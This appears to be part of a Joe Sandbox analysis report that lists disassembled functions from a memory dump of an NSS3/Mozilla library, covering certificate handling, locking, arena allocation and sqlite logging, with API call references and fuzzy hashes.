Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 1a135fa2ad08c9156c84461616548c9a0956994fca739ab5ed351a779f7aa469
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 5851A375A002018FEB109FAADC84B26B3F5AF5535CF364029E915DFB51EB32E806CB91

Function 6CE59C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE58850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CE60715), ref: 6CE58859
Part of subcall function 6CE58850: PR_NewLock.NSS3 ref: 6CE58874
Part of subcall function 6CE58850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE5888D

PR_NewLock.NSS3 ref: 6CE59CAD

Part of subcall function 6CF098D0: calloc.MOZGLUE(00000001,00000084,6CE30936,00000001,?,6CE3102C), ref: 6CF098E5

Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307AD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307CD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307D6
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDC204A), ref: 6CE307E4
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,6CDC204A), ref: 6CE30864
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE30880
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,6CDC204A), ref: 6CE308CB
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308D7
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308FB

TlsGetValue.KERNEL32 ref: 6CE59CE8
EnterCriticalSection.KERNEL32(?,?,6CE5ECEC,6CE62FCD,00000000,?,6CE62FCD,?), ref: 6CE59D01
TlsGetValue.KERNEL32(?,?,?,6CE5ECEC,6CE62FCD,00000000,?,6CE62FCD,?), ref: 6CE59D38
EnterCriticalSection.KERNEL32(?,?,6CE5ECEC,6CE62FCD,00000000,?,6CE62FCD,?), ref: 6CE59D4D
PR_Unlock.NSS3 ref: 6CE59D70
PR_Unlock.NSS3 ref: 6CE59DC3
PR_NewLock.NSS3 ref: 6CE59DDD

Part of subcall function 6CE588D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE60725,00000000,00000058), ref: 6CE58906
Part of subcall function 6CE588D0: EnterCriticalSection.KERNEL32(?), ref: 6CE5891A
Part of subcall function 6CE588D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE5894A
Part of subcall function 6CE588D0: calloc.MOZGLUE(00000001,6CE6072D,00000000,00000000,00000000,?,6CE60725,00000000,00000058), ref: 6CE58959
Part of subcall function 6CE588D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE58993
Part of subcall function 6CE588D0: PR_Unlock.NSS3(?), ref: 6CE589AF

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: de2c487af635f1b7a2055b543a4463247bb07323ad530ffd4600c99fac427b45
Instruction ID: 1438717a698d41438412c6427ea42f17e461025ab4a45c73017e310010337797
Opcode Fuzzy Hash: de2c487af635f1b7a2055b543a4463247bb07323ad530ffd4600c99fac427b45
Instruction Fuzzy Hash: 055160B4A057058FDB00EF68C0846AABBF0BF45359FA5852DD8989B710EB31E865CB91

Function 6CF59EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF59EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF59EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF59F73
EnterCriticalSection.KERNEL32(?), ref: 6CF59FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF59FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF59FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF5A01D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: edfc09dc3dff24d9a31109688ed79f73a7b922346ff8e43b80a4c6633690bf0d
Instruction ID: 654f9568949e583284c2a2dfe2338e597bf82debf999e3a7d29c62ad4296f5ae
Opcode Fuzzy Hash: edfc09dc3dff24d9a31109688ed79f73a7b922346ff8e43b80a4c6633690bf0d
Instruction Fuzzy Hash: 6951D3B2A00600CBCB109F25D48078AB7F4FF14719F59866ADC5957B12EB31F995CBE1

Function 6CE4DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE4DCFA

Part of subcall function 6CF09DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF50A27), ref: 6CF09DC6
Part of subcall function 6CF09DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF50A27), ref: 6CF09DD1
Part of subcall function 6CF09DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF09DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE4DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE4DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE4DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE4DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE4DD8F

Part of subcall function 6CE606A0: TlsGetValue.KERNEL32 ref: 6CE606C2
Part of subcall function 6CE606A0: EnterCriticalSection.KERNEL32(?), ref: 6CE606D6
Part of subcall function 6CE606A0: PR_Unlock.NSS3 ref: 6CE606EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE4DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE4DDB7

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 62c755b443e47a9b3dbbb7550d628890a23d39a285bbf5d5d7222209c9a0f847
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 36218FBAE011159BDF01DE94EC409DFB7B8AF05218F258124ED14A7701F735EA15CBE1

Function 6CED5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEDAADB,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5F72

Part of subcall function 6CE3ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE3ED8F
Part of subcall function 6CE3ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE3ED9E
Part of subcall function 6CE3ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE3EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEDAADB,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CEDAADB,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5FCC
free.MOZGLUE(?,?,6CEDAADB,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CEDAADB,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5FF4
free.MOZGLUE(?,?,6CEDAADB,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEDAADB,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEDAADB,?,?,?,?,?,?,?,?,00000000,?,6CED80C1), ref: 6CED6036

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 11f6fa4d74bcb4c3597e4157fc362f90a6a8b6b8a56766c50614f4dddd8c98df
Instruction ID: f4ace9989a76062828070e94c3284252b4308dfe5e59bf155e77af72640d25d7
Opcode Fuzzy Hash: 11f6fa4d74bcb4c3597e4157fc362f90a6a8b6b8a56766c50614f4dddd8c98df
Instruction Fuzzy Hash: 4B213BF1A05B009BEA219F749809BD376B8AB4570CF24082CE46ECB740D736F419CB92

Function 6CE43C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CEB460B,?,?), ref: 6CE43CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE43CB9
PL_HashTableLookup.NSS3(?), ref: 6CE43CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE43CD6
PR_Unlock.NSS3 ref: 6CE43CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE43CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE43D03
PR_Unlock.NSS3 ref: 6CE43D15

Part of subcall function 6CEEDD70: TlsGetValue.KERNEL32 ref: 6CEEDD8C
Part of subcall function 6CEEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDDB4

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 86e1620b3f7b62fbc600f0641358add7e07782fcfaa6f157bbef5a557a8ec44d
Instruction ID: b55f6e66a01b72c5eb3e071a7cf6eabc82e37a1b489838d55372fa0ce149b5a1
Opcode Fuzzy Hash: 86e1620b3f7b62fbc600f0641358add7e07782fcfaa6f157bbef5a557a8ec44d
Instruction Fuzzy Hash: 4411297AE10504A7EF012B25BC05AAA7A38EB4325CF35C134FD1C93711FB22E958C6E1

Function 6CE49C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE611C0: PR_NewLock.NSS3 ref: 6CE61216

free.MOZGLUE(?), ref: 6CE49E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE49E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE49E4E
TlsGetValue.KERNEL32 ref: 6CE49EA2

Part of subcall function 6CE59500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE59546

EnterCriticalSection.KERNEL32(?), ref: 6CE49EB6
PR_Unlock.NSS3 ref: 6CE49ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE49F18

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 564dce70ca00eeaf55e7dba707d9f23c30f089a26fd4997a5ed25be7ddb5971f
Instruction ID: 28b58297012a6975b08fa8fefcdaa33c5d1a7ca238fb9933af56137332e2d453
Opcode Fuzzy Hash: 564dce70ca00eeaf55e7dba707d9f23c30f089a26fd4997a5ed25be7ddb5971f
Instruction Fuzzy Hash: C881F9B1A00601ABEB109F34ED41BAB77F9BF4524CF64852CE85997B01FB32E915C7A1

Function 6CE5DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE5AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE61397,5B5F5EC0,?,?,6CE5B1EE,2404110F,?,?), ref: 6CE5AB3C
Part of subcall function 6CE5AB10: free.MOZGLUE(D958E836,?,6CE5B1EE,2404110F,?,?), ref: 6CE5AB49
Part of subcall function 6CE5AB10: DeleteCriticalSection.KERNEL32(5D5E6D05), ref: 6CE5AB5C
Part of subcall function 6CE5AB10: free.MOZGLUE(5D5E6CF9), ref: 6CE5AB63
Part of subcall function 6CE5AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE5AB6F
Part of subcall function 6CE5AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE5AB76

TlsGetValue.KERNEL32 ref: 6CE5DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE5DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE5DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE5DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE5DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE5DEA6
PR_Unlock.NSS3(?), ref: 6CE5DF08

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 20eb8067ebee1a81b2e6d6560147e7bf1f865a1cce97ea600174130d026b82b3
Instruction ID: 3307d3324c0f413233c2101be5c52a3f919f2b7d1fdd47facf2542834ed5eeea
Opcode Fuzzy Hash: 20eb8067ebee1a81b2e6d6560147e7bf1f865a1cce97ea600174130d026b82b3
Instruction Fuzzy Hash: A391E5B9E001059FDB00CF64C981BAAB7B5EF4530CFB44129D9199B741EB33EA65CBA1

Function 6CE15FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CEFBB62,00000004,6CF64CA4,?,?,00000000,?,?,6CDD31DB), ref: 6CE160AB
sqlite3_config.NSS3(00000004,6CF64CA4,6CEFBB62,00000004,6CF64CA4,?,?,00000000,?,?,6CDD31DB), ref: 6CE160EB
sqlite3_config.NSS3(00000012,6CF64CC4,?,?,6CEFBB62,00000004,6CF64CA4,?,?,00000000,?,?,6CDD31DB), ref: 6CE16122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE16095
%s at line %d of [%.10s], xrefs: 6CE160A4
misuse, xrefs: 6CE1609F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 5f0b89eb122b8e6d8f7fa22e753f3d7029fe9166bea0065541e494b2079c6efc
Instruction ID: a2474852cfd733574589876a8a1bf4b63ff1cbf110114206ba683ad62275abae
Opcode Fuzzy Hash: 5f0b89eb122b8e6d8f7fa22e753f3d7029fe9166bea0065541e494b2079c6efc
Instruction Fuzzy Hash: 14B17070E1864ACFCF44CF5CC240AA9BBF0FB1E304B158159D549AB732E731AA95CB95

Function 6CDC4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDC4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDC51BB

Strings

%s at line %d of [%.10s], xrefs: 6CDC51B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDC51A5
unable to delete/modify user-function due to active statements, xrefs: 6CDC51DF
misuse, xrefs: 6CDC51AF

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 3a16db4e3a7e9f38714821a68b3a00b9900fe647207a4adb1853db74c05340b3
Instruction ID: 854205e8147fe299da3541f05bb41443404b02dccf6e54fe65c549ecc2ca15d9
Opcode Fuzzy Hash: 3a16db4e3a7e9f38714821a68b3a00b9900fe647207a4adb1853db74c05340b3
Instruction Fuzzy Hash: 00719EB1B0420ADBEB00CF15CC80B9A77B9BF48318F144525FD199BA61E731E951EBA2

Function 6CE32D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE32D69

Strings

winTruncate1, xrefs: 6CE32EBE
winUnmapfile2, xrefs: 6CE32F7F
winUnmapfile1, xrefs: 6CE32F55
winSeekFile, xrefs: 6CE32E9C
winTruncate2, xrefs: 6CE32EF8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: c2be996e87f6ec95311ac9f7809531cd17d0bc25d42c6a884221e617b478f64b
Instruction ID: 9b165fccc169868a13339f67c120d82924d4a51559dc4b802a563acb92463c74
Opcode Fuzzy Hash: c2be996e87f6ec95311ac9f7809531cd17d0bc25d42c6a884221e617b478f64b
Instruction Fuzzy Hash: B461A171B002149FDB44CF69DC94B6A7BB1FF49314F208128E95AAB7D1DB31AC06CB91

Function 6CEAFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CEAF165,?), ref: 6CEAFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CEAF165,?), ref: 6CEAFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEAF165,?), ref: 6CEAFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEAF165,?), ref: 6CEAFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CEAF165,?), ref: 6CEAFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CEAF165,6CF7219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEAFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CEAF165,?), ref: 6CEB00A6

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 165eb69115125ccd930941090410611da92dce21cfe624b52110718fa9ba713f
Instruction ID: 8312c09f6f317f4f7d02b360b64af95f5d07de1430484ba83712d23614a1aac4
Opcode Fuzzy Hash: 165eb69115125ccd930941090410611da92dce21cfe624b52110718fa9ba713f
Instruction Fuzzy Hash: 6D51DFB5E002569FDB108E99CA907BEB7B5BB49318F790629D955BBB40D332BC01CBD0

Function 6CE6DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE6DF37
EnterCriticalSection.KERNEL32(?), ref: 6CE6DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE6DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CE6E02B
PR_Unlock.NSS3(?), ref: 6CE6E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE6E090
PR_Unlock.NSS3(?), ref: 6CE6E0AF

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
